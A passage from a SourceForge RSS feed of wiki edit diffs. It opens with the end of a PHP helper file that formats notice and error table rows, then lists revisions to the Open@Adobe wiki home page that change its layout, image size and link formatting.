+   global $cols;
+
+   $args = func_get_args();
+   array_shift($args);
+
+   return '&lt;tr id="notice"&gt;
+   &lt;td colspan="' . $cols . '"&gt;' . phrase($phrase, $args) . '&lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+function error ($phrase) {
+   global $cols;
+
+   $args = func_get_args();
+   array_shift($args);
+
+   return '&lt;tr id="error"&gt;
+   &lt;td colspan="' . $cols . '"&gt;' . phrase($phrase, $args) . '&lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+?&gt;
&lt;/pre&gt;
&lt;/div&gt;</description><pubDate>Tue, 23 Apr 2013 06:26:38 -0000</pubDate><guid>https://sourceforge.net4db0efe4d11ba3fe56edf41e5687e5fdcb29dcf4</guid></item><item><title>WikiPage Home modified by Dave McAllister</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v29
+++ v30
@@ -1,5 +1,4 @@
-&lt;div class="nested-grid-container"&gt;
-&lt;div class="grid-20"&gt;
+
 
 # Welcome to Open@Adobe!
 
@@ -7,15 +6,8 @@
 
 On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to. You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
 
-&lt;/div&gt;
-
-&lt;div class="grid-10"&gt;
 
 &lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:220px;padding: 0 20px"&gt;
-
-&lt;/div&gt;
-
-&lt;div class="grid-10"&gt;
 
 #### News
 [[neighborhood_blog_posts max_number=3]]
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Dave McAllister</dc:creator><pubDate>Wed, 14 Nov 2012 23:18:53 -0000</pubDate><guid>https://sourceforge.net0f02a4977b2b69aa1e34d4f17cd7ae8464c64760</guid></item><item><title>WikiPage Home modified by Adobe Admin</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Adobe Admin</dc:creator><pubDate>Fri, 27 Jul 2012 21:37:25 -0000</pubDate><guid>https://sourceforge.netdef1c8197cdc2d8ed815cdea33349379bbbe8ffb</guid></item><item><title>WikiPage Home modified by Adobe Admin</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v27
+++ v28
@@ -11,7 +11,7 @@
 
 &lt;div class="grid-10"&gt;
 
-&lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:120px;padding: 0 20px"&gt;
+&lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:220px;padding: 0 20px"&gt;
 
 &lt;/div&gt;
 
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Adobe Admin</dc:creator><pubDate>Fri, 27 Jul 2012 21:36:27 -0000</pubDate><guid>https://sourceforge.net2772c1d6477e849582319a06586a1843452b8b79</guid></item><item><title>WikiPage Home modified by Adobe Admin</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v26
+++ v27
@@ -11,7 +11,7 @@
 
 &lt;div class="grid-10"&gt;
 
-&lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:320px;padding: 0 30px"&gt;
+&lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:120px;padding: 0 20px"&gt;
 
 &lt;/div&gt;
 
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Adobe Admin</dc:creator><pubDate>Fri, 27 Jul 2012 21:36:13 -0000</pubDate><guid>https://sourceforge.netd7c00a001acf7e320de743c5fbbcbe52b3be1605</guid></item><item><title>WikiPage Home modified by Dave Brondsema</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v25
+++ v26
@@ -1,4 +1,5 @@
 &lt;div class="nested-grid-container"&gt;
+&lt;div class="grid-20"&gt;
 
 # Welcome to Open@Adobe!
 
@@ -6,13 +7,15 @@
 
 On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to. You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
 
+&lt;/div&gt;
+
 &lt;div class="grid-10"&gt;
 
 &lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:320px;padding: 0 30px"&gt;
 
 &lt;/div&gt;
 
-&lt;div class="grid-9"&gt;
+&lt;div class="grid-10"&gt;
 
 #### News
 [[neighborhood_blog_posts max_number=3]]
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Dave Brondsema</dc:creator><pubDate>Wed, 18 Jul 2012 17:03:07 -0000</pubDate><guid>https://sourceforge.net975610599217cb5e6f6b68074fba87b92b071351</guid></item><item><title>WikiPage Home modified by Dave Brondsema</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v24
+++ v25
@@ -1,3 +1,5 @@
+&lt;div class="nested-grid-container"&gt;
+
 # Welcome to Open@Adobe!
 
 This site presents the definitive view into openness efforts at Adobe, including details regarding open source projects that Adobe releases and contributes to. 
@@ -16,3 +18,4 @@
 [[neighborhood_blog_posts max_number=3]]
 
 &lt;/div&gt;
+&lt;/div&gt;
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Dave Brondsema</dc:creator><pubDate>Wed, 18 Jul 2012 17:02:22 -0000</pubDate><guid>https://sourceforge.net4ea01cf3e42eec3da854240b9129229eab6308fc</guid></item><item><title>WikiPage Home modified by Adobe Admin</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v23
+++ v24
@@ -1,10 +1,8 @@
 # Welcome to Open@Adobe!
 
-This site presents the definitive view into openness efforts at Adobe, including details regarding open source projects that Adobe releases and contributes to.
+This site presents the definitive view into openness efforts at Adobe, including details regarding open source projects that Adobe releases and contributes to. 
 
-On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to.
-
-You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
+On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to. You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
 
 &lt;div class="grid-10"&gt;
 
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Adobe Admin</dc:creator><pubDate>Tue, 17 Jul 2012 20:58:44 -0000</pubDate><guid>https://sourceforge.netcf36762315687f1351acf4294988ef64e07e3014</guid></item><item><title>WikiPage Home modified by Adobe Admin</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;--- v22
+++ v23
@@ -2,9 +2,9 @@
 
 This site presents the definitive view into openness efforts at Adobe, including details regarding open source projects that Adobe releases and contributes to.
 
-On Open@Adobe, you will find the [Open Source projects]***(Projects)*** that Adobe has released and/or is contributing to.
+On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to.
 
-You will also find the [specifications]***(Specifications)*** that Adobe has released as open specifications.
+You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
 
 &lt;div class="grid-10"&gt;
 
&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Adobe Admin</dc:creator><pubDate>Tue, 17 Jul 2012 20:57:09 -0000</pubDate><guid>https://sourceforge.netc2968383ac990b520c91ace3fea437609c9b075d</guid></item></channel></rss>